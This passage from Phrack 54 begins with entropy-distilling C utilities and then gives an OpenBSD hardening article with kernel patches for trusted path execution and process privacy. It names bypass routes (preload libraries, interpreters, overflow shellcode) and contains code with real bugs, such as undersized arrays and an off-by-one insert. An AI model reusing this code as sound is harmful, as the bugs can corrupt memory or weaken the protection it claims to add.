((BYTE *) shsInfo‑>data) [count++] = 0x80;

/* Pad out to 56 mod 64 */

if (count > 56) {

/* Two lots of padding: Pad the first block to 64 bytes */

memset ((BYTE *) shsInfo‑>data + count, 0, 64 ‑ count); byteReverse (shsInfo‑>data, SHS_BLOCKSIZE);

shsTransform (shsInfo);

/* Now fill the next block with 56 bytes */

memset (shsInfo‑>data, 0, 56);

} else

/* Pad block to 56 bytes */

memset ((BYTE *) shsInfo‑>data + count, 0, 56 ‑ count); byteReverse (shsInfo‑>data, SHS_BLOCKSIZE);

/* Append length in bits and transform */

shsInfo‑>data [14] = highBitcount;

shsInfo‑>data [15] = lowBitcount;

shsTransform (shsInfo);

byteReverse (shsInfo‑>data, SHS_DIGESTSIZE);

}

<‑‑>

<++> bleach/sha/shs.h

/* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SHS.H ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ */

/*

* NIST proposed Secure Hash Standard.

*

* Written 2 September 1992, Peter C. Gutmann.

* This implementation placed in the public domain.

*

* Comments to pgut1@cs.aukuni.ac.nz

*/

/* Useful defines/typedefs */

#ifndef SHS_H

#define SHS_H

typedef unsigned char BYTE;

typedef unsigned long LONG;

/* The SHS block size and message digest sizes, in bytes */

#define SHS_BLOCKSIZE64

#define SHS_DIGESTSIZE20

/* The structure for storing SHS info */

typedef struct {

LONG digest [5];/* Message digest */

LONG countLo, countHi;/* 64‑bit bit count */

LONG data [16];/* SHS data buffer */

} SHS_INFO;

/* Turn off prototypes if requested */

#if (defined(NOPROTO) && defined(PROTO))

#undef PROTO

#endif

/* Used to remove arguments in function prototypes for non‑ANSI C */

#ifdef PROTO

#define OF(a) a

#else/* !PROTO */

#define OF(a) ()

#endif/* ?PROTO */

#definelocalstatic

void shsInit OF((SHS_INFO *shsInfo));

void shsUpdate OF((SHS_INFO *shsInfo, BYTE *buffer, int count)); void shsFinal OF((SHS_INFO *shsInfo));

#endif

<‑‑>

<++> bleach/sha_distill.c

#include <stdio.h>

#include "sha/shs.h"

main ()

{

SHS_INFO shsInfo;

unsigned char c[20];

while (fread(c, 1,20,stdin) == 20)

{

shsInit(&shsInfo);

shsUpdate(&shsInfo,c,20);

shsFinal(&shsInfo);

fwrite(&shsInfo,1,20,stdout);

}

}

<‑‑>

<++> bleach/transmap.c

/*

Implementation of von Neumann's transistion mapping scheme to de‑skew a series of random bits. See 5.2.2 of RFC1750 for more information. */

#include <stdio.h>

char reconstruct_byte(char *byte_ary);

main ()

{

char c, b1, b2, i, j;

char byte[7];

j=0;

while ( !feof(stdin) )

{

fread(&c, 1,1,stdin);

for (i=7; i>=0; i‑=2)

{

b1=((c>>i)&1); /* integer representation of bit i */

b2=((c>>(i‑1))&1);

if ( (b1==1) && (b2==0) ) /* translation of 10 */

{

byte[j]=1;

j++;

}

if ( (b1==0) && (b2==1) ) /* translation of 01 */

{

byte[j]=0;

j++;

}

}

if (j>7)

{

putc(reconstruct_byte(byte),stdout);

j=0;

}

}

}

char reconstruct_byte(char *byte_ary)

{

char i;

char r = 0;

for (i=0; i<=7; i++)

{

r<<=1;

r|=byte_ary[i];

}

return r;

}

<‑‑>

<++> bleach/xor_distill.c

/* Distills entropy from a stream of skewed random bits by XORing

each bit in a byte against each other to obtain 1 output bit per input byte. 8 such bits are reconstructed into a byte.

*/

#include <stdio.h>

char reconstruct_byte(char *byte_ary);

char xor_bits(char c);

main ()

{

char byte[7];

char c[7];

char i;

while (fread(c,1,8,stdin) == 8)

{

for (i=0; i<=7; i++)

byte[i]=xor_bits(c[i]);

putc(reconstruct_byte(byte), stdout);

}

}

char xor_bits(char c)

{

char i, f;

f=(c>>i)&1;

for (i=6; i>=0; i‑‑)

f^=(c>>i)&1;

return f;

}

char reconstruct_byte(char *byte_ary)

{

char i;

char r = 0;

for (i=0; i<=7; i++)

{

r<<=1;

r|=byte_ary[i];

}

return r;

}

<‑‑>

‑‑‑‑[ Postscript file detailing empirical results

<++> bleach/random.ps.gz.uue

begin 644 random.ps.gz M'XL("$L!\S4``W)A;F1O;2YP<P#$6UUSV\:2?>>OF'U(R:J5*(+?3&YMK6);

end

<‑‑>

Hardening OpenBSD for Multiuser Environments

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 06 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The Belt And Suspenders Approach (September 1998)

‑‑‑‑‑‑‑‑[ route|daemon9 <route@infonexus.com>

‑‑‑‑[ Introduction and Impetus

The OpenBSD project team. Purveyors of a FREE, multi‑platform 4.4BSD‑based UNIX‑like operating system. Their efforts place emphasis on portability, standardization, correctness, security, and cryptography. And OpenBSD really concentrates on those last two. OpenBSD is simply the best choice for multi‑user environments.

It is the flawed assumption that security mechanisms can be adequately provided in layers above the operating system. A perfect security application cannot make up for flawed or absent security features within the OS kernel. It is the classic example of building a castle on a swamp. You can build a strong fortress, but it makes no difference if it slowly sinks into the ground. In this article, we retrofit the OpenBSD kernel with some additional security.

This article is about cracking the whip. It's a prime example of security being (possibly) inconvenient. But by making things potentially a bit more difficult for normal users, we hope to severely hamper would‑be attackers. Two effective ways of doing this are through limited program execution via path and credential checks and privacy restrictions.

This article is a follow‑up to my P52‑06 article on hardening the Linux kernel. Herein the reader will find several patches designed to harden a multi‑user OpenBSD box. These patches can be broken down into two areas: privacy restriction and execution restriction (more on these below). The patches contained here should be used in conjunction with a savvy for intelligent administration; if you can't recompile a kernel, stop here.

‑‑‑‑[ Getting Sources

You will need an OpenBSD 2.4 box with full kernel sources for your architecture and sources for the following programs: w, who, ps, fstat, and ld.so. Below are sample instructions for getting the sources you'll need through anonymous CVS.

I. Pick a server and set the appropriate environment variables: (assuming csh or tcsh)

1. setenv CVSROOT anoncvs@anoncvs3.usa.openbsd.org:/cvs 2. setenv CVS_RSH /usr/local/bin/ssh

3. cd /usr

II. Get the sources:

1. cvs get src/usr.bin/fstat

2. cvs get src/bin/ps

3. cvs get src/usr.bin/w

4. cvs get src/usr.bin/who

5. cvs get src/gnu/usr.bin/ld/

6. cvs get src/lib/libc/stdio/

III. If you need kernel sources:

(for i386‑based machines, other architectures vary slightly) 1. cvs get ksrc‑i386 ksrc‑common

‑‑‑‑[ Privacy Patches

Tested on: 2.4‑SNAP (Current as of 12.10.98)

Author: route

Why should we allow anyone to be able to view information on processes they do not own?

Normally, when a process wants system‑wide process table information, it retrieves it from the kernel virtual memory interface by making calls to a kvm_*(3) derivative. All that is required is that the process have permissions to read from /dev/kmem (usually meaning the program file needs to be sgid kmem). I am of the school of thought that, unless you are really cool, you don't need to see everyone else's processes on a host. The privacy patches work towards this end.

‑‑‑‑[ Privacy Patches Modus Operandi

Simple credential check. Before the command is allowed to dump savory information, a UID check is made. If you're not root, you're not going to see other users' information. Due to the somewhat lazy way this is implemented, a savvy hacker could defeat this. I leave this as an exercise to the reader.

‑‑‑‑[ Privacy Patches Installation

I. Extract the code from this article:

1. extract P54‑06

2. cd PP/

II. Apply the userland diffs:

1. cp Patch/PP‑diff /usr/src

2. cd /usr/src

3. patch < PP‑diff

III. Next, cd to the relevant directories and build the executables: 1. cd usr.bin/fstat; make; make install 2. cd usr.bin/who; make; make install

3. cd usr.bin/w; make; make install

4. cd bin/ps; make; make install

‑‑‑‑[ Trusted Path / ACL Execution Patches

Tested on: 2.4‑SNAP (Current as of 12.10.98)

Author: route

Why should we allow arbitrary code execution rights?

Before any call to sys_execve() is allowed to proceed, we take the vnode of the parent directory that the targeted file lives in and grab the file attributes via the VOP_GETATTR() macro. We then check to see if the path is trusted (root owned directory that isn't group or world writable) and, barring that, we check to see if the user is trusted (on the kernel's trust list). If the last check fails, the file is denied execution privileges.

Oops! By setting certain environment variables, users can still preload libraries and modules filled with all sorts of arbitrary code. This is a no‑no. To prevent this, we provide a mechanism to effectively ignore LD_PRELOAD and LD_LIBRARY_PATH environment variables.

‑‑‑‑[ TPE Implementation Overview

The tpe suite consists of 4 components: the in‑kernel mechanisms, a system call, a userland agent and an ld.so component. The kernel resident components handle the path and credential verification as well as list maintenance. The system call is the vessel used to convey information from userland to the kernel and vice versa. The userland agent consists of the tpe administrative program used to manipulate the trust list (and enable/disable the ld.so environment checker). The ld.so piece is responsible for grooming the environment of any illegal variables.

‑‑‑‑[ TPE Trust List Kernel Interface and Abstract Data Types

The trust list inside the kernel is a static array of type `uid_t`. The decision was the made to use a static array to hold the trusted IDs for both convenience and runtime efficiency. By default, the list is elements long. If this for some reason is not sufficient, it can be increased by changing the CPP symbolic constant TPE_ACL_SIZE (however, you should first probably ask yourself why you need more than 80 trusted users).

The speed in which user ID verification is done is absolutely essential, as this check will be done for every call to exec that does not originate from a trusted path. This has the potential to be a huge bottle neck. This was taken into consideration and the bulk of processing overhead is offloaded to list initialization and modification.

The list is kept ordered after all insertions and deletions via insertion sort. Sorting is relatively costly (insertion sort has a running time of about O(n^2)) and is done when response time is not absolutely critical, during list additions and deletions.

Speed is essential when the lookups are done, and, since the list is ordered, a binary search can be done in a worst case of O(lg N). In fact, with the default list size of 80 elements, we can be guaranteed no more than 7 comparisons will be done. Compare that with a sequential search in an ordered list which has a worst case of O(N) (80 comparisons).

‑‑‑‑[ TPE ld.so protection

The dynamic linker is a great tool that allows us to write small programs that load external code at runtime. On a macro scale, ld.so allows processes to load arbitrary external code for execution. This can be used to bypass our execution restrictions. A user could bypass path trust by simply loading code dynamically via library or object code redirection. This is against our best interests. To prevent this, we patch ld.so to strip the LD_PRELOAD and LD_LIBRARY_PATH environment variables.

There is a global int, tpe_ld_check, that is set, cleared and checked via the system call. When set, ld.so checks the environment of any non UID 0 process and calls unsetenv if LD_PRELOAD and/or LD_LIBRARY_PATH exist. The variables still exist in the user's environment, but they are ignored during the dynamic linking.

‑‑‑‑[ What TPE will do

Trusted path execution will prevent arbitrary users from executing arbitrary code. This means that malicious users cannot execute exploit programs to try and break root on your machine. This also means that they can't execute exploit programs and try to hack from your machine. It affords an administrator an extra level of confidence that her system is secure.

‑‑‑‑[ What TPE will not do

TPE relies on auditing a call to one of exec(2) family of functions. It ensures that the program file that contains the code to be executed resides in a trusted directory or is being executed by a trusted user. Programs living in a trusted directory that interpret symbolic code and link and assemble at runtime (and call exec from a trusted path) can bypass our TPE security mandate and must be audited differently. These are programs such as perl, any of the shell interpreters, sed, awk, etc... While a malicious user cannot just whip up a script in her home directory (it would be denied execution rights because it lives in an untrusted directory) she could specify the code on the command line or redirect it from a file.

There are different ways to tackle this problem, none of them very elegant. Changing the file permissions and ownership to allow only members of a certain group access to these files is a simple effort and an obvious choice, but will not work for the shell interpreters. Moving all of these programs to a special non‑trusted directory would also work (normal users would not be able to execute them, but trusted users would), but again, this will not work for the shell programs.

To prevent the shell programs from being to execute arbitrary code it seems like the only real solution would be to patch them. This way you can prevent naughty activity and still get desired functionality.

Another area of trouble is command line buffer overflows. If a trusted program happens to contain a buffer overflow that is exploitable from the command line, an attacker can bypass the TPE and get arbitrary code executed. The overflow shellcode is passed in as standard command line argument and is not illegal as far as TPE sees. One possible fix is to audit or sanitize the command arguments before granting execution rights.

The other noteworthy issue regarding TPE is the fact that it generally does not protect the machine from remote attacks. Daemons running as root or as a trusted user id (usually the case ‑‑ otherwise how would it be started in the first place?) will be allowed execution rites. If this code contains remotely exploitable buffer overflows, TPE cannot prevent arbitrary code execution.

‑‑‑‑[ tpe_adm

The userland agent is painfully simple to use. To show the kernel's trusted user list:

resentment:~# tpe_adm ‑s

trusted users: root diablerie

To add a user to the list:

resentment:~# tpe_adm ‑a devilish

UID 1000 added to trust list

resentment:~# tpe_adm ‑s

trusted users: root diablerie devilish

To remove a user from the list:

resentment:~# tpe_adm ‑d diablerie

UID 1000 removed from trust list

resentment:~# tpe_adm ‑s

trusted users: root diablerie

To enable/disable ld.so environment checking:

resentment:~# tpe_adm ‑le

ld.so environment protection enabled

resentment:~# tpe_adm ‑ls

ld.so environment protection is currently on

resentment:~# tpe_adm ‑ld

ld.so environment protection disabled

resentment:~# tpe_adm ‑ls

ld.so environment protection is currently off

‑‑‑‑[ TPE Installation

I. Extract the code from this article:

1. extract P54‑06

2. cd TPE/

II. Apply the kernel diffs:

1. cp Core/Patch/TPE‑diff /usr/src/sys

2. cd /usr/src/sys/

3. patch < TPE‑diff

4. note any errors. hope they are benign.

III. Apply the ld.so diff:

1. cp Core/Patch/ld.so‑diff /usr/src/

2. cd /usr/src/

3. patch < ld.so‑diff

IV. Copy over the tpe core files:

1. cp Core/kern/kern_tpe.c /usr/src/sys/kern 2. cp Core/kern/kern_tpe_sys.c /usr/src/sys/kern 3. cp Core/sys/kern_tpe.h /usr/src/sys/sys

V. Rebuild your syscall table:

1. cd /usr/src/sys/kern

2. make

VI. Copy over the syscall include files:

1. cp /usr/src/sys/sys/syscall.h /usr/include/sys 2. cp /usr/src/sys/sys/syscallargs.h /usr/include/sys

VII. Reconfigure your kernel:

(This step assumes you have a previously configured kernel named YOUR_KERNEL. If you haven't, you need to config a kernel. Refer to OpenBSD documentation on how to do this.) 1. cd /usr/src/sys/arch/YOUR_ARCH/conf

2. config YOUR_KERNEL

VIII. Remake the dependencies and rebuild the kernel: 1. cd /usr/src/sys/arch/YOUR_ARCH/compile/YOUR_KERNEL 2. make depend ; make clean ; make

3. note any errors. hope you can fix them. 3. cp /bsd /bsd.old ; cp bsd /

4. reboot

IX. Build the new ld.so

1. cd /usr/src

2. cp lib/libc/stdio/vfprintf.c /usr/src/gnu/usr.bin/ld/rtld 3. cp lib/libc/stdio/local.h /usr/src/gnu/usr.bin/ld/rtld 4. cp lib/libc/stdio/fvwrite.h /usr/src/gnu/usr.bin/ld/rtld 5. cd /usr/src/gnu/usr.bin/ld/rtld

6. make ; make install

X. Build the TPE admin program:

1. cd Core/Admin/ ; make

2. make install

XI. Test it out:

1. As root, dump the current trust list: (Only UID 0 should be on it.) tpe_adm ‑s

trusted users: root

2. Try the following as an untrusted user (i.e. UID=1000): cat > foo.c << EOF ; gcc foo.c

int main(int argc, char **argv){ printf("Hello world\n"); } EOF

./a.out

EPERM should result.

3. Now add the user to the trust list: tpe_adm ‑a UID

4. Dump the list again:

(You should see the user on the list.) tpe_adm ‑s

5. Try to execute the command again as the user: ./a.out

Hello world

6. Add only the necessary UIDs to the list.

7. NOTE TO QMAIL USERS:

You may find that you will need to explicitly add the qmailq UID to the trust list. Do this in an rc startup script that runs before the qmail daemons start.

8. As root, ensure that ld.so environment protection is enabled: tpe_adm ‑le

ld.so environment protection enabled

9. As an unprivileged user:

setenv LD_PRELOAD test.o

ls ‑l

Your environment contains illegal variables which are being stripped out for the execution of this program a.out fo.c foo.c

10. As root, ensure that ld.so environment protection is disabled: tpe_adm ‑ld

ld.so environment protection disabled

11. As an unprivileged user:

ls

/usr/libexec/ld.so: preload: test.o: cannot map object

12. You're done. Pat yourself on the back and buy something from Precious Roy.

‑‑‑‑[ The Code

<++> TPE/Core/Admin/Makefile

# $Id: P54‑06,v 1.16 1998/12/10 00:01:28 route Exp $

# Trusted path ACL implementation for OpenBSD 2.4

# Copyright (c) 1998 route|daemon9 and Mike D. Schiffman

# All rights reserved.

#

# Originally published in Phrack Magazine (http://www.phrack.com).

tpe_adm:

$(CC) tpe_adm.c ‑o tpe_adm

install: tpe_adm

install ‑m 711 ‑o 0 tpe_adm /usr/local/sbin

clean:

rm ‑rf core a.out tpe_adm

# EOF

<‑‑>

<++> TPE/Core/Admin/tpe_adm.c

/*

* $Id: P54‑06,v 1.16 1998/12/10 00:01:28 route Exp $

* Trusted path ACL userland administrative agent for OpenBSD 2.4 *

* Copyright (c) 1998 route|daemon9 and Mike D. Schiffman

* All rights reserved.

* Originally published in Phrack Magazine (http://www.phrack.com).

*

* Thanks to nirva for helping me choose an ADT.

* See <sys/kern_tpe.h> for more info.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <pwd.h>

#include "../sys/kern_tpe.h"

void usage();

int

main(int argc, char **argv)

{

uid_t list[TPE_ACL_SIZE];

int c, i, mode;

uid_t candidate;

struct passwd *pwd;

if (geteuid() && getuid())

{

fprintf(stderr, "root access required\n"); exit(1);

}

if (argc == 1 || argc > 3)

{

usage();

exit(EXIT_SUCCESS);

}

while ((c = getopt(argc, argv, "a:d:l:s")) != EOF)

{

switch (c)

{

case 'a':

if (isalpha(optarg[0]))

{

pwd = getpwnam(optarg); if(!pwd)

{

fprintf(stderr, "Unknown user: \"%s\"\n", optarg); exit(EXIT_FAILURE);

}

candidate = pwd‑>pw_uid;

}

else if (!(candidate = (uid_t)atol(optarg))) {

fprintf(stderr, "invalid UID: \"%s\"\n", optarg); exit(EXIT_FAILURE);

}

if (syscall(SYS_tpe_adm, TPE_ADD, candidate, NULL) == ‑1) {

printf("Full trust list\n"); exit(EXIT_FAILURE);

}

printf("UID %d added to trust list\n", candidate); break;

case 'd':

if (isalpha(optarg[0]))

{

pwd = getpwnam(optarg); if(!pwd)

{

fprintf(stderr, "Unknown user: \"%s\"\n", optarg); exit(EXIT_FAILURE);

}

candidate = pwd‑>pw_uid;

}

else if (!(candidate = (uid_t)atol(optarg))) {

fprintf(stderr, "invalid UID: \"%s\"\n", optarg); exit(EXIT_FAILURE);

}

if (syscall(SYS_tpe_adm, TPE_REMOVE, candidate, NULL) == ‑1) {

printf("UID %d not found on trust list\n", candidate); exit(EXIT_FAILURE);

}

printf("UID %d removed from trust list\n", candidate); break;

case 'l':

if (optarg[0] == 'e')

{

if (syscall(SYS_tpe_adm, TPE_LDCHECK_E, ‑1, NULL) == ‑1) {

printf("Unknown internal error\n"); /* should NOT fail */

exit(EXIT_FAILURE);

}

printf("ld.so environment protection enabled\n"); }

else if (optarg[0] == 'd')

{

if (syscall(SYS_tpe_adm, TPE_LDCHECK_D, ‑1, NULL) == ‑1) {

printf("Unknown internal error\n"); /* should NOT fail */

exit(EXIT_FAILURE);

}

printf("ld.so environment protection disabled\n"); }

else if (optarg[0] == 's')

{

if (syscall(SYS_tpe_adm, TPE_LDCHECK_S, ‑1, list) == ‑1) {

printf("Unknown internal error\n"); /* should NOT fail */

exit(EXIT_FAILURE);

}

printf("ld.so environment protection is currently %s\n", list[0] ? "on" : "off");

}

else

{

fprintf(stderr, "Huh?\n"); exit(EXIT_FAILURE);

}

break;

case 's':

/*

* It is Very Important that `list` is an array of size * TPE_ACL_SIZE. The kernel expects this. Failure to do * so can result in a panic. However, only root can issue * the tpe_adm system call.

*/

if (syscall(SYS_tpe_adm, TPE_SHOW, ‑1, list) == ‑1) {

/*

* Should NOT fail.

*/

printf("Hideous internal error\n"); exit(EXIT_FAILURE);

}

printf("trusted users: ");

for (i = 0; list[i] != TPE_INITIALIZER; i++) {

pwd = getpwuid(list[i]); if (pwd)

{

printf("%s ", pwd‑>pw_name); }

else

{

printf("%d ", (int)list[i]); }

}

printf("\n");

break;

default:

usage();

exit(EXIT_SUCCESS);

}

}

return (0);

}

void

usage()

{

fprintf(stderr, "usage: tpe_adm [‑a UID] Add a UID to the trust list\n"

"[‑d UID] Delete a UID from the list\n"

"[‑l e|n] Toggle LD_* usage\n"

"[‑l s] Show status of ld.so protection\n"

"[‑s] Show the current list\n");

}

<‑‑>

<++> TPE/Core/Patch/TPE‑diff

‑‑‑ ./kern/init_main.cTue Sep 15 23:21:08 1998

+++ ../Core/kern/init_main.cSun Oct 18 12:26:24 1998

@@ ‑80,6 +80,7 @@

#include <sys/syscall.h>

#include <sys/syscallargs.h>

+#include <sys/kern_tpe.h>

#include <ufs/ufs/quota.h>

@@ ‑424,6 +425,16 @@

srandom((u_long)(rtv.tv_sec ^ rtv.tv_usec));

randompid = 1;

+

+ tpe_init();

+ printf("Trusted patch execution list initialized\n");

+ /*

+ * root must be added hard at this point. For safey's sake, the + * userland agent can't do anything with UID 0 to prevent morons + * from locking themselves out of their machines.

+ */

+ tpe_add(0);

+

/* The scheduler is an infinite loop. */

scheduler();

/* NOTREACHED */

‑‑‑ ./kern/syscalls.masterThu Sep 17 13:54:04 1998

+++ ../Core/kern/syscalls.masterSun Oct 18 12:35:59 1998

@@ ‑479,7 +479,8 @@

242UNIMPL

243UNIMPL

244UNIMPL

‑245UNIMPL

+245STD { int sys_tpe_adm(int mode, uid_t candidate, \

+ uid_t *list); }

246UNIMPL

247UNIMPL

248UNIMPL

‑‑‑ ./kern/kern_exec.cThu Sep 24 11:49:31 1998

+++ ../Core/kern/kern_exec.cSun Oct 18 12:32:03 1998

@@ ‑51,12 +51,16 @@

#include <sys/mman.h>

#include <sys/signalvar.h>

#include <sys/stat.h>

+#include <ufs/ufs/quota.h>

+#include <ufs/ufs/inode.h>

#ifdef SYSVSHM

#include <sys/shm.h>

#endif

#include <sys/syscallargs.h>

‑

+#include <sys/kern_tpe.h>

+#include <sys/systm.h>

+

#include <vm/vm.h>

#include <vm/vm_kern.h>

@@ ‑93,6 +97,7 @@

struct exec_package *epp;

{

int error, i;

+ struct vattr at;

struct vnode *vp;

struct nameidata *ndp;

size_t resid;

@@ ‑146,6 +151,30 @@

if (error)

goto bad2;

epp‑>ep_hdrvalid = epp‑>ep_hdrlen ‑ resid;

+

+ /*

+ * Get the file attributes of the parent directory that the + * executable lives in.

+ */

+ if ((error = VOP_GETATTR(ndp‑>ni_dvp, &at, NULL, NULL)) != 0) + {

+ goto bad2;

+ }

+

+ /*

+ * Trusted path check.

+ */

+ if (!TRUSTED_PATH(at))

+ {

+ /*

+ * Trusted user check.

+ */

+ if (!TRUSTED_USER(p‑>p_ucred‑>cr_uid))

+ {

+ error = EACCES;

+ goto bad2;

+ }

+ }

/*

* set up the vmcmds for creation of the process

‑‑‑ ./conf/filesSun Sep 27 19:43:22 1998

+++ ../Core/conf/filesSun Oct 18 12:40:28 1998

@@ ‑209,6 +209,8 @@

file kern/kern_sysctl.c

file kern/kern_synch.c

file kern/kern_time.c

+file kern/kern_tpe.c

+file kern/kern_tpe_sys.c

file kern/kern_xxx.c

file kern/subr_autoconf.c

file kern/subr_disk.c

<‑‑>

<++> TPE/Core/kern/kern_tpe.c

/*

* $Id: P54‑06,v 1.16 1998/12/10 00:01:28 route Exp $

* Trusted path ACL implementation for OpenBSD 2.4

*

* Copyright (c) 1998 route|daemon9 and Mike D. Schiffman

* All rights reserved.

* Originally published in Phrack Magazine (http://www.phrack.com).

*

* Thanks to nirva for helping me choose an ADT.

* See <sys/kern_tpe.h> for more info.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#include <sys/kern_tpe.h>

void

tpe_init()

{

memset(tpe_acl, TPE_INITIALIZER, sizeof(uid_t) * TPE_ACL_SIZE); tpe_acl_candidates = 0;

tpe_ld_check = 1;

#if (AUTO_ADD_ROOT)

tpe_acl[0] = 0;

#endif

}

void

tpe_show()

{

int i;

printf("%d trusted users: ", tpe_acl_candidates);

for (i = 0; i < tpe_acl_candidates; i++)

{

printf("%d ", tpe_acl[i]);

}

printf("\n");

}

int

tpe_add(uid_t candidate)

{

if (tpe_acl_candidates == TPE_ACL_SIZE)

{

/*

* Full list.

*/

return (NACK);

}

/*

* Don't add duplicates.

*/

if ((tpe_search(candidate, 0, tpe_acl_candidates)) == NACK) {

/*

*Add to the end of the list, then sort.

*/

tpe_acl_candidates++;

tpe_acl[tpe_acl_candidates] = candidate;

tpe_sort(0, tpe_acl_candidates);

printf("tpe: UID %d added to trust list\n", candidate); }

else

{

printf("tpe: duplicate UID %d not added\n", candidate); }

return (ACK);

}

int

tpe_remove(uid_t candidate)

{

int n;

if (tpe_acl_candidates == 0)

{

/*

* Empty list.

*/

return (NACK);

}

if ((n = tpe_search(candidate, 0, tpe_acl_candidates)) != NACK) {

/*

* Remove the candidate (mark the slot as unused), resort the list. */

tpe_acl[n] = TPE_INITIALIZER; tpe_acl_candidates‑‑;

tpe_sort(0, tpe_acl_candidates);

printf("tpe: UID %d removed from trust list\n", candidate); return (ACK);

}

/*

* Not found.

*/

return (NACK);

}

int

tpe_verify(uid_t candidate)

{

if ((tpe_search(candidate, 0, tpe_acl_candidates)) != NACK) {

return (ACK);

}

else

{

return (NACK);

}

}

void

tpe_sort(int low, int high)

{

int i, j, n;

/*

* Standard insertion sort.

*/

for (i = low + 1; i <= high; i++)

{

COMPSWAP(tpe_acl[low], tpe_acl[i]);

}

for (i = low + 2; i <= high; i++)

{

j = i;

n = tpe_acl[i];

while (LESS(n, tpe_acl[j ‑ 1]))

{

tpe_acl[j] = tpe_acl[j ‑ 1];

j‑‑;

}

tpe_acl[j] = n;

}

}

int

tpe_search(uid_t candidate, int low, int high)

{

int n;

/*

* Standard binary search. XXX ‑ should be iterative. */

n = (low + high) / 2;

if (low > high)

{

return (NACK);

}

if (candidate == tpe_acl[n])

{

return (n);

}

if (low == high)

{

return (NACK);

}

if (LESS(candidate, tpe_acl[n]))

{

return (tpe_search(candidate, low, n ‑ 1));

}

else

{

return (tpe_search(candidate, n + 1, high));

}

}

/* EOF */

<‑‑>

<++> TPE/Core/kern/kern_tpe_sys.c

/*

* $Id: P54‑06,v 1.16 1998/12/10 00:01:28 route Exp $

* Trusted path ACL syscall implementation for OpenBSD 2.4

*

* Copyright (c) 1998 route|daemon9 and Mike D. Schiffman

* All rights reserved.

* Originally published in Phrack Magazine (http://www.phrack.com).

*

* Thanks to nirva for helping me choose an ADT.

* See <sys/kern_tpe.h> for more info.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*/

#include <sys/kern_tpe.h>

#include <sys/systm.h>

#include <sys/mount.h>

#include <sys/syscallargs.h>

int

sys_tpe_adm(p, v, retval)

struct proc *p;

void *v;

register_t *retval;

{

struct sys_tpe_adm_args /* {

syscallarg(int) mode;

syscallarg(uid_t) candidate;

